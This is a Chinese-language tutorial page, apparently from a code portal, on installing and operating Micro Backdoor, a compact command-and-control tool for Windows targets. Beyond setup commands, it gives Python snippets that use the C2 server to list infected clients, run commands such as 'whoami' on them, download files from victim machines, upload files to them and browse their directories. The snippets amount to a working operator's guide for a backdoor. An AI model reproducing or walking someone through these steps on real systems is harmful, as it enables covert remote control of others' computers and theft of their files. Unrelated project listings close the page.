Micro Backdoor 项目下载及安装教程
2024-12-04 08:02:18作者:郁楠烈Hubert
1、项目介绍
Micro Backdoor 是一个针对 Windows 目标的小型且方便的 C2(Command and Control)工具,具有易于定制的代码基础和较小的占用空间。该项目由服务器、客户端和 dropper 组成,并非设计为替代您喜欢的后渗透工具,而是作为一个具有基本功能的真正最小化工具,代码量不超过 5000 行。客户端 DLL 大小小于 20Kb(未压缩)。该工具通常用于演示目的,作为固件 rootkits 和各种低级别持久性技术的 payload。
2、项目下载位置
该项目托管在 GitHub 上,下载位置为:Micro Backdoor(注意:文章中不包含链接,此处仅为说明)。
3、项目安装环境配置(包括图片示例)
环境要求
- Python
- Redis
- pip
以下为环境配置的步骤:
-
安装 Python 和 pip
- Windows 用户可以通过下载 Python 官方安装包进行安装。
- Linux 用户可以使用包管理器安装,例如:
sudo apt-get install python python-dev python-pip
-
安装 Redis
- Windows 用户可以下载 Redis 官方安装包。
- Linux 用户可以使用包管理器安装,例如:
sudo apt-get install redis-server
-
安装项目依赖
- 打开终端或命令提示符,切换到项目目录。
- 执行命令:
pip install -r requirements.txt
图片示例
(此处由于无法提供图片,以下为示例文字描述)
- 图1:Python 安装界面
- 图2:Redis 安装完成提示
- 图3:项目目录下的 requirements.txt 文件
4、项目安装方式
-
克隆项目到本地
- 打开终端或命令提示符。
- 执行命令:
git clone https://github.com/Cr4sh/MicroBackdoor.git
-
配置项目
- 修改项目目录下的
config.py文件,设置 HTTP_USERS 和 HTTP_PATH 等配置项。
- 修改项目目录下的
-
启动 Redis 服务
- 执行命令:
sudo service redis-server start
- 执行命令:
-
启动项目服务
- 执行命令:
python server.py
- 执行命令:
5、项目处理脚本
以下为一些基本的项目处理脚本示例:
获取连接的客户端列表
from server import ClientHelper
# 获取客户端列表
clients = ClientHelper()
client_list = clients.client_list()
for client in client_list:
print('ID = %s, addr = %s' % (client.client_id, client.addr[0]))
执行客户端命令
# 创建客户端助手实例
client = ClientHelper(client_id)
# 连接到服务器对应的子进程
client.mapper_connect()
# 执行命令
output, exit_code = client.execute('whoami')
文件操作
# 创建客户端助手实例
client = ClientHelper(client_id)
# 连接到服务器对应的子进程
client.mapper_connect()
# 下载文件
client.file_get('C:\\Windows\\win.ini', 'win.ini')
# 上传文件
client.file_put('C:\\Users\\Test\\example.txt', 'example.txt')
# 列举目录文件
for size, name in client.file_list('C:\\Windows'):
if size is None:
print('DIR: %s' % name)
else:
print('FILE: %s' % name)
登录后查看全文
热门项目推荐
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C037
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
kylin-wayland-compositorkylin-wayland-compositor或kylin-wlcom(以下简称kywc)是一个基于wlroots编写的wayland合成器。 目前积极开发中,并作为默认显示服务器随openKylin系统发布。 该项目使用开源协议GPL-1.0-or-later,项目中来源于其他开源项目的文件或代码片段遵守原开源协议要求。C00
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00
GLM-4.7GLM-4.7上线并开源。新版本面向Coding场景强化了编码能力、长程任务规划与工具协同,并在多项主流公开基准测试中取得开源模型中的领先表现。 目前,GLM-4.7已通过BigModel.cn提供API,并在z.ai全栈开发模式中上线Skills模块,支持多模态任务的统一规划与协作。Jinja00
agent-studioopenJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力TSX0114
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
项目优选
收起
deepin linux kernel
C
26
10
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
433
3.29 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
689
352
Ascend Extension for PyTorch
Python
237
271
暂无简介
Dart
690
162
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
仓颉编程语言运行时与标准库。
Cangjie
143
881
React Native鸿蒙化仓库
JavaScript
266
327
openJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力
TSX
211
114
仓颉编译器源码及 cjdb 调试工具。
C++
138
869